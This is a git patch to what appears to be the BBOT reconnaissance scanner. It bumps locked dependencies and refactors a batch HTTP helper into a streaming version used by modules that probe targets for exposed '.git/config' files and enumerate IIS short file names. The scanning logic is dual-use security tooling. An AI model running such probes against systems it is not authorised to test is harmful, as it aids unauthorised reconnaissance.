"https://files.pythonhosted.org/packages/46/e8/83c96b9e68369efd57c049728e7088ee9502101e377f305e090cc7618e17/cloudcheck-10.0.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:2cffd1a339646e5fdd9bc7cbc27b90c6cd376747a5e76d7e76bfdc51ef27a3e6", size = 4626473, upload-time = "2026-05-05T16:13:00.951Z" }, + { url = "https://files.pythonhosted.org/packages/48/39/a0a00ecc3f4c7ad595ff7d822fc86136e1a1730053df71647daa833214f4/cloudcheck-10.0.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:131d44336ad344b770b585167cd8441ca6dad56142f5b278f121c7507621b6bb", size = 3911086, upload-time = "2026-05-05T16:13:19.416Z" }, + { url = "https://files.pythonhosted.org/packages/2e/9e/95d5c0fdb5592c06ba48c2c2190ccb8e589e1179feeae27e1942e0891457/cloudcheck-10.0.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:af756db3fba6215bf6b1919f230d8955a8f559e3d40a5144a867e6255695b396", size = 4255885, upload-time = "2026-05-05T16:13:39.794Z" }, + { url = "https://files.pythonhosted.org/packages/2b/d8/458ab1c4f025d7e66bed589f75b92dc6ee730cc58c820c56198d57886937/cloudcheck-10.0.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f2c52183a93d6ad5982c9f9e62e3a29529ba99db1c3414f4ca536971cd69146f", size = 4282302, upload-time = "2026-05-05T16:13:58.767Z" }, + { url = "https://files.pythonhosted.org/packages/a8/42/c9d42202482cb225d40cb58f5eb0759b506098cb98f0effb3e08dd4dd843/cloudcheck-10.0.1-cp314-cp314-win32.whl", hash = "sha256:646a8ca0e5baf4f3529835a84f44897988da653d241ad0cc79dfe1121e2e75af", size = 1318837, upload-time = "2026-05-05T16:14:16.138Z" }, + { url = "https://files.pythonhosted.org/packages/77/c5/a3e31beca7adf72ff5bad3e50c4c1c55d50fba951012b5b3e88d6a3fc038/cloudcheck-10.0.1-cp314-cp314-win_amd64.whl", hash = "sha256:c13b291694055df8f9dfd191a8ae28c9c0dc0c59fa7e2405b3fbd33d8374d6d7", size = 1411970, upload-time = "2026-05-05T16:14:14.37Z" }, + { url = "https://files.pythonhosted.org/packages/a2/d8/4be803b52c88926a62639edb17ef7f92f4033a3815b0e9f8c3bda26dccca/cloudcheck-10.0.1-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5bf8904c171540307013302e3c23fee30545eda3c66ee8af9355d64a701aad66", size = 4225821, upload-time = "2026-05-05T16:11:26.655Z" }, + { url = "https://files.pythonhosted.org/packages/dc/46/4de7c8abf39980aa60b5dd2dbfc76c91a33bcf7131207ff32be8d3089c75/cloudcheck-10.0.1-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:1e8de3b38fed4fd188c5cd923908f79ea466e57ec1a0e55e2f620f0101846e47", size = 3582744, upload-time = "2026-05-05T16:11:44.451Z" }, + { url = "https://files.pythonhosted.org/packages/ae/9a/be6fca0b37afac0eef1474e0bece7d36b3eea5964f76f5596534134682c1/cloudcheck-10.0.1-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:11cd4996cc5a8d812f5139b8ccce656fef41d9c2b1b24b8b823501cd82927ec4", size = 4074240, upload-time = "2026-05-05T16:12:02.06Z" }, + { url = "https://files.pythonhosted.org/packages/cc/04/1d579da2dac3af994fa406b6a019331fb3d3618fb6dfba794395840b0afb/cloudcheck-10.0.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7c1daddd0c34614bdd438947688d83b4d862728f422ffb8700eb37d7fbee3e7c", size = 4626868, upload-time = "2026-05-05T16:13:03.211Z" }, + { url = "https://files.pythonhosted.org/packages/54/1f/4da23681a3e2c49681c9492633388e94d3b97062cf053fd2cd8b2a655601/cloudcheck-10.0.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:a35476e0da6e6c442a750e8a207b9729ee8a260038a7eb378d535a4a8434c2e7", size = 3912371, upload-time = "2026-05-05T16:13:21.252Z" }, + { url = "https://files.pythonhosted.org/packages/12/2a/a9fef94625dea4b31a045e0f2b51efae3b23d61241e85d71bccc839851c2/cloudcheck-10.0.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:1958083f007636dedf68a2d00c707c607864d09765a30ad01b237f479523cdd0", size = 4256747, upload-time = "2026-05-05T16:13:41.747Z" }, + { url = "https://files.pythonhosted.org/packages/47/01/19ff1de739db05ff15b007a8a4cef3116174042b336e8b559d7fa92cd29a/cloudcheck-10.0.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:1e60bd640b777ea988fb9ed17bce8056e34d5d24f881b89f0bc22b6d9879c33d", size = 4287043, upload-time = "2026-05-05T16:14:00.775Z" }, + { url = "https://files.pythonhosted.org/packages/b3/64/72fb316044d6e27309daf90adec5aa6f93d30a0b0cd2082d2ed09edcd7bd/cloudcheck-10.0.1-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:756a84b6dcf066301b20817bff322be921614dd81afdba6bee60cc15b95c379a", size = 4232896, upload-time = "2026-05-05T16:11:30.955Z" }, + { url = "https://files.pythonhosted.org/packages/b1/87/43605cbb014913e58717d4afbf9585d2067a7e8e373f70ec37e2dedc72b1/cloudcheck-10.0.1-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ef984f4d5912ac9c2fc92a70377660f97d80690b7f8dd94928f5ca56e7306cc5", size = 3586355, upload-time = "2026-05-05T16:11:48.493Z" }, + { url = "https://files.pythonhosted.org/packages/9a/6d/866798ac74f874cbe4431b90baca1d945d0de84ef0a1f028a23b107daaf8/cloudcheck-10.0.1-pp311-pypy311_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:607c33dd0e9759654659120268017b524be626e6b12aa1ca0498529a27e02e6c", size = 4168015, upload-time = "2026-05-05T16:12:19.851Z" }, + { url = "https://files.pythonhosted.org/packages/db/f7/5a7f066609f2e2277785f0a2260fc19cb0f7fee6e99e3672504b87fcb31b/cloudcheck-10.0.1-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:411843f0d43dc5f71798fb55190cdefcec15167f01098c8d7ed216c5b9749362", size = 4077961, upload-time = "2026-05-05T16:12:05.887Z" }, + { url = "https://files.pythonhosted.org/packages/57/5e/d53616a098582a382ce131238898530fb27f0be27938b71f35af30f57d7a/cloudcheck-10.0.1-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:56fd64174ec31a5f603f5e6d1b5685f62240705a1fb34fde79f54a1675bd96e8", size = 4028531, upload-time = "2026-05-05T16:12:34.044Z" }, + { url = "https://files.pythonhosted.org/packages/a5/7c/fcf994a59f22a767341c5ec8046988b7898967142690df4e09e19d817a14/cloudcheck-10.0.1-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:3c0199e37dd9960f733f23dd8bc790e1ac651438ae1fed6df9cbce5424b503c3", size = 4639059, upload-time = "2026-05-05T16:13:07.21Z" }, + { url = "https://files.pythonhosted.org/packages/08/eb/655997565e1c718434a5cb188a1b41784d1dbd003c08070f41f0de11944b/cloudcheck-10.0.1-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:a881fb95ca3e9132b787cfb5456d4f1ada478ce90aeb67b21ad6b0be6f4eed2b", size = 3917473, upload-time = "2026-05-05T16:13:25.885Z" }, + { url = "https://files.pythonhosted.org/packages/f5/ab/8403101a168fe6c9cf579557a892949c079bc994fd68688d433e69550c1e/cloudcheck-10.0.1-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:f8fb62e855a264ab8a180c19fe8b1b4428a737a82900b010a38af3c35cdb8f12", size = 4260999, upload-time = "2026-05-05T16:13:46.346Z" }, + { url = "https://files.pythonhosted.org/packages/a9/07/3f07c69c313a02a1397243150d1dd38aea32bb3dfc9b92d0aabc9774d12c/cloudcheck-10.0.1-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:134bc188ec50fd9a8e6144f6087cdb6b31f1f1a86edbd0a1dac48457f0e6ad0c", size = 4290856, upload-time = "2026-05-05T16:14:04.696Z" }, ] [[package]] @@ -2150,16 +2208,16 @@ wheels = [ [[package]] name = "pytest-asyncio" -version = "1.2.0" +version = "1.3.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "backports-asyncio-runner", marker = "python_full_version < '3.11'" }, { name = "pytest" }, { name = "typing-extensions", marker = "python_full_version < '3.13'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/42/86/9e3c5f48f7b7b638b216e4b9e645f54d199d7abbbab7a64a13b4e12ba10f/pytest_asyncio-1.2.0.tar.gz", hash = "sha256:c609a64a2a8768462d0c99811ddb8bd2583c33fd33cf7f21af1c142e824ffb57", size = 50119, upload-time = "2025-09-12T07:33:53.816Z" } +sdist = { url = "https://files.pythonhosted.org/packages/90/2c/8af215c0f776415f3590cac4f9086ccefd6fd463befeae41cd4d3f193e5a/pytest_asyncio-1.3.0.tar.gz", hash = "sha256:d7f52f36d231b80ee124cd216ffb19369aa168fc10095013c6b014a34d3ee9e5", size = 50087, upload-time = "2025-11-10T16:07:47.256Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/04/93/2fa34714b7a4ae72f2f8dad66ba17dd9a2c793220719e736dda28b7aec27/pytest_asyncio-1.2.0-py3-none-any.whl", hash = "sha256:8e17ae5e46d8e7efe51ab6494dd2010f4ca8dae51652aa3c8d55acf50bfb2e99", size = 15095, upload-time = "2025-09-12T07:33:52.639Z" }, + { url = "https://files.pythonhosted.org/packages/e5/35/f8b19922b6a25bc0880171a2f1a003eaeb93657475193ab516fd87cac9da/pytest_asyncio-1.3.0-py3-none-any.whl", hash = "sha256:611e26147c7f77640e6d0a92a38ed17c3e9848063698d5c93d5aa7aa11cebff5", size = 15075, upload-time = "2025-11-10T16:07:45.537Z" }, ] [[package]] @@ -2724,27 +2782,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.10" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/e7/d9/aa3f7d59a10ef6b14fe3431706f854dbf03c5976be614a9796d36326810c/ruff-0.15.10.tar.gz", hash = "sha256:d1f86e67ebfdef88e00faefa1552b5e510e1d35f3be7d423dc7e84e63788c94e", size = 4631728, upload-time = "2026-04-09T14:06:09.884Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/eb/00/a1c2fdc9939b2c03691edbda290afcd297f1f389196172826b03d6b6a595/ruff-0.15.10-py3-none-linux_armv6l.whl", hash = "sha256:0744e31482f8f7d0d10a11fcbf897af272fefdfcb10f5af907b18c2813ff4d5f", size = 10563362, upload-time = "2026-04-09T14:06:21.189Z" }, - { url = "https://files.pythonhosted.org/packages/5c/15/006990029aea0bebe9d33c73c3e28c80c391ebdba408d1b08496f00d422d/ruff-0.15.10-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:b1e7c16ea0ff5a53b7c2df52d947e685973049be1cdfe2b59a9c43601897b22e", size = 10951122, upload-time = "2026-04-09T14:06:02.236Z" }, - { url = "https://files.pythonhosted.org/packages/f2/c0/4ac978fe874d0618c7da647862afe697b281c2806f13ce904ad652fa87e4/ruff-0.15.10-py3-none-macosx_11_0_arm64.whl", hash = "sha256:93cc06a19e5155b4441dd72808fdf84290d84ad8a39ca3b0f994363ade4cebb1", size = 10314005, upload-time = "2026-04-09T14:06:00.026Z" }, - { url = "https://files.pythonhosted.org/packages/da/73/c209138a5c98c0d321266372fc4e33ad43d506d7e5dd817dd89b60a8548f/ruff-0.15.10-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:83e1dd04312997c99ea6965df66a14fb4f03ba978564574ffc68b0d61fd3989e", size = 10643450, upload-time = "2026-04-09T14:05:42.137Z" }, - { url = "https://files.pythonhosted.org/packages/ec/76/0deec355d8ec10709653635b1f90856735302cb8e149acfdf6f82a5feb70/ruff-0.15.10-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8154d43684e4333360fedd11aaa40b1b08a4e37d8ffa9d95fee6fa5b37b6fab1", size = 10379597, upload-time = "2026-04-09T14:05:49.984Z" }, - { url = "https://files.pythonhosted.org/packages/dc/be/86bba8fc8798c081e28a4b3bb6d143ccad3fd5f6f024f02002b8f08a9fa3/ruff-0.15.10-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8ab88715f3a6deb6bde6c227f3a123410bec7b855c3ae331b4c006189e895cef", size = 11146645, upload-time = "2026-04-09T14:06:12.246Z" }, - { url = "https://files.pythonhosted.org/packages/a8/89/140025e65911b281c57be1d385ba1d932c2366ca88ae6663685aed8d4881/ruff-0.15.10-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a768ff5969b4f44c349d48edf4ab4f91eddb27fd9d77799598e130fb628aa158", size = 12030289, upload-time = "2026-04-09T14:06:04.776Z" }, - { url = "https://files.pythonhosted.org/packages/88/de/ddacca9545a5e01332567db01d44bd8cf725f2db3b3d61a80550b48308ea/ruff-0.15.10-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ee3ef42dab7078bda5ff6a1bcba8539e9857deb447132ad5566a038674540d0", size = 11496266, upload-time = "2026-04-09T14:05:55.485Z" }, - { url = "https://files.pythonhosted.org/packages/bc/bb/7ddb00a83760ff4a83c4e2fc231fd63937cc7317c10c82f583302e0f6586/ruff-0.15.10-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51cb8cc943e891ba99989dd92d61e29b1d231e14811db9be6440ecf25d5c1609", size = 11256418, upload-time = "2026-04-09T14:05:57.69Z" }, - { url = "https://files.pythonhosted.org/packages/dc/8d/55de0d35aacf6cd50b6ee91ee0f291672080021896543776f4170fc5c454/ruff-0.15.10-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:e59c9bdc056a320fb9ea1700a8d591718b8faf78af065484e801258d3a76bc3f", size = 11288416, upload-time = "2026-04-09T14:05:44.695Z" }, - { url = "https://files.pythonhosted.org/packages/68/cf/9438b1a27426ec46a80e0a718093c7f958ef72f43eb3111862949ead3cc1/ruff-0.15.10-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:136c00ca2f47b0018b073f28cb5c1506642a830ea941a60354b0e8bc8076b151", size = 10621053, upload-time = "2026-04-09T14:05:52.782Z" }, - { url = "https://files.pythonhosted.org/packages/4c/50/e29be6e2c135e9cd4cb15fbade49d6a2717e009dff3766dd080fcb82e251/ruff-0.15.10-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:8b80a2f3c9c8a950d6237f2ca12b206bccff626139be9fa005f14feb881a1ae8", size = 10378302, upload-time = "2026-04-09T14:06:14.361Z" }, - { url = "https://files.pythonhosted.org/packages/18/2f/e0b36a6f99c51bb89f3a30239bc7bf97e87a37ae80aa2d6542d6e5150364/ruff-0.15.10-py3-none-musllinux_1_2_i686.whl", hash = "sha256:e3e53c588164dc025b671c9df2462429d60357ea91af7e92e9d56c565a9f1b07", size = 10850074, upload-time = "2026-04-09T14:06:16.581Z" }, - { url = "https://files.pythonhosted.org/packages/11/08/874da392558ce087a0f9b709dc6ec0d60cbc694c1c772dab8d5f31efe8cb/ruff-0.15.10-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:b0c52744cf9f143a393e284125d2576140b68264a93c6716464e129a3e9adb48", size = 11358051, upload-time = "2026-04-09T14:06:18.948Z" }, - { url = "https://files.pythonhosted.org/packages/e4/46/602938f030adfa043e67112b73821024dc79f3ab4df5474c25fa4c1d2d14/ruff-0.15.10-py3-none-win32.whl", hash = "sha256:d4272e87e801e9a27a2e8df7b21011c909d9ddd82f4f3281d269b6ba19789ca5", size = 10588964, upload-time = "2026-04-09T14:06:07.14Z" }, - { url = "https://files.pythonhosted.org/packages/25/b6/261225b875d7a13b33a6d02508c39c28450b2041bb01d0f7f1a83d569512/ruff-0.15.10-py3-none-win_amd64.whl", hash = "sha256:28cb32d53203242d403d819fd6983152489b12e4a3ae44993543d6fe62ab42ed", size = 11745044, upload-time = "2026-04-09T14:05:39.473Z" }, - { url = "https://files.pythonhosted.org/packages/58/ed/dea90a65b7d9e69888890fb14c90d7f51bf0c1e82ad800aeb0160e4bacfd/ruff-0.15.10-py3-none-win_arm64.whl", hash = "sha256:601d1610a9e1f1c2165a4f561eeaa2e2ea1e97f3287c5aa258d3dab8b57c6188", size = 11035607, upload-time = "2026-04-09T14:05:47.593Z" }, +version = "0.15.12" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/99/43/3291f1cc9106f4c63bdce7a8d0df5047fe8422a75b091c16b5e9355e0b11/ruff-0.15.12.tar.gz", hash = "sha256:ecea26adb26b4232c0c2ca19ccbc0083a68344180bba2a600605538ce51a40a6", size = 4643852, upload-time = "2026-04-24T18:17:14.305Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c3/6e/e78ffb61d4686f3d96ba3df2c801161843746dcbcbb17a1e927d4829312b/ruff-0.15.12-py3-none-linux_armv6l.whl", hash = "sha256:f86f176e188e94d6bdbc09f09bfd9dc729059ad93d0e7390b5a73efe19f8861c", size = 10640713, upload-time = "2026-04-24T18:17:22.841Z" }, + { url = "https://files.pythonhosted.org/packages/ae/08/a317bc231fb9e7b93e4ef3089501e51922ff88d6936ce5cf870c4fe55419/ruff-0.15.12-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:e3bcd123364c3770b8e1b7baaf343cc99a35f197c5c6e8af79015c666c423a6c", size = 11069267, upload-time = "2026-04-24T18:17:30.105Z" }, + { url = "https://files.pythonhosted.org/packages/aa/a4/f828e9718d3dce1f5f11c39c4f65afd32783c8b2aebb2e3d259e492c47bd/ruff-0.15.12-py3-none-macosx_11_0_arm64.whl", hash = "sha256:fe87510d000220aa1ed530d4448a7c696a0cae1213e5ec30e5874287b66557b5", size = 10397182, upload-time = "2026-04-24T18:17:07.177Z" }, + { url = "https://files.pythonhosted.org/packages/71/e0/3310fc6d1b5e1fdea22bf3b1b807c7e187b581021b0d7d4514cccdb5fb71/ruff-0.15.12-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:84a1630093121375a3e2a95b4a6dc7b59e2b4ee76216e32d81aae550a832d002", size = 10758012, upload-time = "2026-04-24T18:16:55.759Z" }, + { url = "https://files.pythonhosted.org/packages/11/c1/a606911aee04c324ddaa883ae418f3569792fd3c4a10c50e0dd0a2311e1e/ruff-0.15.12-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:fb129f40f114f089ebe0ca56c0d251cf2061b17651d464bb6478dc01e69f11f5", size = 10447479, upload-time = "2026-04-24T18:16:51.677Z" }, + { url = "https://files.pythonhosted.org/packages/9d/68/4201e8444f0894f21ab4aeeaee68aa4f10b51613514a20d80bd628d57e88/ruff-0.15.12-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b0c862b172d695db7598426b8af465e7e9ac00a3ea2a3630ee67eb82e366aaa6", size = 11234040, upload-time = "2026-04-24T18:17:16.529Z" }, + { url = "https://files.pythonhosted.org/packages/34/ff/8a6d6cf4ccc23fd67060874e832c18919d1557a0611ebef03fdb01fff11e/ruff-0.15.12-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2849ea9f3484c3aca43a82f484210370319e7170df4dfe4843395ddf6c57bc33", size = 12087377, upload-time = "2026-04-24T18:17:04.944Z" }, + { url = "https://files.pythonhosted.org/packages/85/f6/c669cf73f5152f623d34e69866a46d5e6185816b19fcd5b6dd8a2d299922/ruff-0.15.12-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9e77c7e51c07fe396826d5969a5b846d9cd4c402535835fb6e21ce8b28fef847", size = 11367784, upload-time = "2026-04-24T18:17:25.409Z" }, + { url = "https://files.pythonhosted.org/packages/e8/39/c61d193b8a1daaa8977f7dea9e8d8ba866e02ea7b65d32f6861693aa4c12/ruff-0.15.12-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:83b2f4f2f3b1026b5fb449b467d9264bf22067b600f7b6f41fc5958909f449d0", size = 11344088, upload-time = "2026-04-24T18:17:12.258Z" }, + { url = "https://files.pythonhosted.org/packages/c2/8d/49afab3645e31e12c590acb6d3b5b69d7aab5b81926dbaf7461f9441f37a/ruff-0.15.12-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:9ba3b8f1afd7e2e43d8943e55f249e13f9682fde09711644a6e7290eb4f3e339", size = 11271770, upload-time = "2026-04-24T18:17:02.457Z" }, + { url = "https://files.pythonhosted.org/packages/46/06/33f41fe94403e2b755481cdfb9b7ef3e4e0ed031c4581124658d935d52b4/ruff-0.15.12-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:e852ba9fdc890655e1d78f2df1499efbe0e54126bd405362154a75e2bde159c5", size = 10719355, upload-time = "2026-04-24T18:17:27.648Z" }, + { url = "https://files.pythonhosted.org/packages/0d/59/18aa4e014debbf559670e4048e39260a85c7fcee84acfd761ac01e7b8d35/ruff-0.15.12-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:dd8aed930da53780d22fc70bdf84452c843cf64f8cb4eb38984319c24c5cd5fd", size = 10462758, upload-time = "2026-04-24T18:17:32.347Z" }, + { url = "https://files.pythonhosted.org/packages/25/e7/cc9f16fd0f3b5fddcbd7ec3d6ae30c8f3fde1047f32a4093a98d633c6570/ruff-0.15.12-py3-none-musllinux_1_2_i686.whl", hash = "sha256:01da3988d225628b709493d7dc67c3b9b12c0210016b08690ef9bd27970b262b", size = 10953498, upload-time = "2026-04-24T18:17:20.674Z" }, + { url = "https://files.pythonhosted.org/packages/72/7a/a9ba7f98c7a575978698f4230c5e8cc54bbc761af34f560818f933dafa0c/ruff-0.15.12-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:9cae0f92bd5700d1213188b31cd3bdd2b315361296d10b96b8e2337d3d11f53e", size = 11447765, upload-time = "2026-04-24T18:17:09.755Z" }, + { url = "https://files.pythonhosted.org/packages/ea/f9/0ae446942c846b8266059ad8a30702a35afae55f5cdc54c5adf8d7afdc27/ruff-0.15.12-py3-none-win32.whl", hash = "sha256:d0185894e038d7043ba8fd6aee7499ece6462dc0ea9f1e260c7451807c714c20", size = 10657277, upload-time = "2026-04-24T18:17:18.591Z" }, + { url = "https://files.pythonhosted.org/packages/33/f1/9614e03e1cdcbf9437570b5400ced8a720b5db22b28d8e0f1bda429f660d/ruff-0.15.12-py3-none-win_amd64.whl", hash = "sha256:c87a162d61ab3adca47c03f7f717c68672edec7d1b5499e652331780fe74950d", size = 11837758, upload-time = "2026-04-24T18:17:00.113Z" }, + { url = "https://files.pythonhosted.org/packages/c0/98/6beb4b351e472e5f4c4613f7c35a5290b8be2497e183825310c4c3a3984b/ruff-0.15.12-py3-none-win_arm64.whl", hash = "sha256:a538f7a82d061cee7be55542aca1d86d1393d55d81d4fcc314370f4340930d4f", size = 11120821, upload-time = "2026-04-24T18:16:57.979Z" }, ] [[package]] From 77f07d93396eb6c8cefbaa67238686a53a7031b7 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Tue, 5 May 2026 15:18:56 -0400 Subject: [PATCH 605/912] blashttp request_batch_stream --- bbot/core/helpers/web/web.py | 70 +++++++++----- bbot/modules/git.py | 2 +- bbot/modules/http.py | 9 +- bbot/modules/iis_shortnames.py | 4 +- bbot/modules/ntlm.py | 5 +- bbot/modules/pgp.py | 2 +- bbot/modules/telerik.py | 3 +- bbot/modules/templates/bucket.py | 4 +- bbot/modules/web_brute.py | 27 ++++-- bbot/test/conftest.py | 28 +++--- bbot/test/mock_blasthttp.py | 51 +++++----- bbot/test/test_step_1/test_web.py | 16 ++-- uv.lock | 152 +++++++++++++++--------------- 13 files changed, 199 insertions(+), 174 deletions(-) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 927d8417e3..e2ca877a8a 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -20,6 +20,23 @@ log = logging.getLogger("bbot.core.helpers.web") +async def iter_batch_results(stream): + """ + Yield individual ``BatchResult`` objects from a ``request_batch_stream`` iterator. + + The native blasthttp 0.4.0 iterator yields lists of ``BatchResult`` (drained in + chunks of 1000 / 200ms to amortize the Python↔Rust boundary). A future Python + wrapper is expected to unwrap these into individual items. This helper handles + both shapes so callers can write a single ``async for`` loop. + """ + async for item in stream: + if isinstance(item, list): + for r in item: + yield r + else: + yield item + + class WebHelper: """ Main utility class for managing HTTP operations in BBOT. Uses blasthttp (Rust) as the @@ -297,23 +314,26 @@ async def request(self, *args, **kwargs): log.trace(traceback.format_exc()) raise - async def request_batch(self, urls, threads=10, **kwargs): + async def request_batch_stream(self, urls, threads=10, **kwargs): """ - Request multiple URLs in parallel via blasthttp's native Rust batch engine. + Request multiple URLs in parallel via blasthttp's native Rust batch engine, + yielding each response as soon as it completes (completion order, not input + order). Applies the same header/cookie/proxy/timeout logic as ``request()`` — each - entry is translated into a ``blasthttp.BatchConfig`` and sent to Rust in one - shot. Results are returned as a list (not streamed). + entry is translated into a ``blasthttp.BatchConfig`` and dispatched through + ``blasthttp.request_batch_stream``. A slow request no longer blocks faster + peers behind it, and Python work overlaps with in-flight HTTP I/O. Each entry in ``urls`` can be: - A plain URL string (uses shared ``**kwargs`` for all requests) - A ``(url, per_request_kwargs)`` tuple for per-request options - A ``(url, per_request_kwargs, tracker)`` tuple to attach arbitrary - tracking data that is returned alongside the response + tracking data that is yielded alongside the response - Returns: - When entries are plain strings: ``list[(url, response)]`` - When any entry includes a tracker: ``list[(url, response, tracker)]`` + Yields: + When entries are plain strings: ``(url, response)`` + When any entry includes a tracker: ``(url, response, tracker)`` Args: urls: URLs to visit — strings or ``(url, kwargs[, tracker])`` tuples. @@ -324,15 +344,13 @@ async def request_batch(self, urls, threads=10, **kwargs): Examples: Simple (shared kwargs):: - results = await self.helpers.request_batch(urls, headers={"X-Test": "Test"}) - for url, response in results: + async for url, response in self.helpers.request_batch_stream(urls, headers={"X-Test": "Test"}): ... Per-request kwargs with tracker:: reqs = [("http://example.com", {"method": "POST"}, "my-tracker")] - results = await self.helpers.request_batch(reqs) - for url, response, tracker in results: + async for url, response, tracker in self.helpers.request_batch_stream(reqs): ... """ import blasthttp @@ -354,33 +372,33 @@ async def request_batch(self, urls, threads=10, **kwargs): entries.append((str(entry), kwargs, None)) if not entries: - return [] + return + + # Build BatchConfig objects using the same logic as request(). + # Map each config URL back to a queue of trackers so we can correlate + # completion-order results to original entries even when multiple entries + # share a URL. + from collections import deque - # Build BatchConfig objects using the same logic as request() configs = [] - trackers = [] + trackers_by_url = {} for url, req_kwargs, tracker in entries: url, method, blast_kwargs = self._build_blasthttp_kwargs(url, **req_kwargs) config = blasthttp.BatchConfig(url, **blast_kwargs) configs.append(config) - trackers.append(tracker) - - # Send to Rust — all I/O happens here - batch_results = await self.client.request_batch(configs, concurrency=threads) + trackers_by_url.setdefault(config.url, deque()).append(tracker) - # Convert to (url, response[, tracker]) tuples - # Results are returned in the same order as configs - results = [] - for i, br in enumerate(batch_results): + async for br in iter_batch_results(self.client.request_batch_stream(configs, concurrency=threads)): if br.response is not None: response = BlasthttpResponse(br.response, request_url=br.url, method="GET") else: response = None if has_tracker: - results.append((br.url, response, trackers[i])) + queue = trackers_by_url.get(br.url) + tracker = queue.popleft() if queue else None + yield br.url, response, tracker else: - results.append((br.url, response)) - return results + yield br.url, response async def download(self, url, **kwargs): """ diff --git a/bbot/modules/git.py b/bbot/modules/git.py index cb53124209..f9f10b777d 100644 --- a/bbot/modules/git.py +++ b/bbot/modules/git.py @@ -24,7 +24,7 @@ async def handle_event(self, event): self.helpers.urljoin(base_url, ".git/config"), self.helpers.urljoin(f"{base_url}/", ".git/config"), } - for url, response in await self.helpers.request_batch(urls): + async for url, response in self.helpers.request_batch_stream(urls): text = getattr(response, "text", "") if not text: text = "" diff --git a/bbot/modules/http.py b/bbot/modules/http.py index e7e45859b3..264796b312 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -4,6 +4,7 @@ import blasthttp +from bbot.core.helpers.web.web import iter_batch_results from bbot.modules.base import BaseModule @@ -212,8 +213,12 @@ async def handle_batch(self, *events): ) configs.append(config) - # blasthttp batch returns a native coroutine via pyo3-async-runtimes - results = await self.client.request_batch(configs, self.threads) + # Drain the streaming batch into a list — we need every result in hand + # before we can decide http/https suppression for paired OPEN_TCP_PORT probes. + # Python conversion still overlaps with in-flight HTTP I/O via the stream. + results = [] + async for r in iter_batch_results(self.client.request_batch_stream(configs, concurrency=self.threads)): + results.append(r) # For OPEN_TCP_PORT probes, suppress redundant https when http already succeeded. # When probing an unknown port, we try both http:// and https://. If http works, diff --git a/bbot/modules/iis_shortnames.py b/bbot/modules/iis_shortnames.py index 838ef5f2c8..339cdcb418 100644 --- a/bbot/modules/iis_shortnames.py +++ b/bbot/modules/iis_shortnames.py @@ -142,7 +142,7 @@ async def solve_valid_chars(self, method, target, affirmative_status_code): url = f"{target}{payload}{suffix}" urls_and_kwargs.append((url, kwargs, (c, file_part))) - for url, response, (c, file_part) in await self.helpers.request_batch(urls_and_kwargs): + async for url, response, (c, file_part) in self.helpers.request_batch_stream(urls_and_kwargs): if response is not None: if response.status_code == affirmative_status_code: if file_part == "stem": @@ -183,7 +183,7 @@ async def solve_shortname_recursive( 